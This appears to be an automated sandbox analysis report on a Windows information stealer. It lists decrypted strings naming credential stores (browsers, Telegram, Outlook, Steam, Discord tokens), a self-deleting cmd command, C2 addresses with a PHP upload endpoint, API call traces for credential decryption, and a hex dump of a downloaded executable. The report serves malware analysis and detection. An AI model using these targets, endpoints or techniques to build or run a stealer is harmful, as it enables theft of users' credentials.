Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: key_datas
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: map*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Telegram
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Tox
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: *.tox
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: *.ini
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Password
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000001
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000002
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000003
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000004
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: token:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \config\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: browsers
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: done
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: soft
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: https
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: POST
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: hwid
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: build
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: token
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: file_name
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: file
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: message
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: screenshot.jpg
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: silence
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sila
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCW

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040C660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA16C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CA16C80

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 16.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 21.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 33.2.659e6df34d.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49911 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 209MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor	URLs: http://85.28.47.31silence
Source: Malware configuration extractor	IPs: 185.215.113.16

Source: unknown

Network traffic detected: DNS query count 30

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 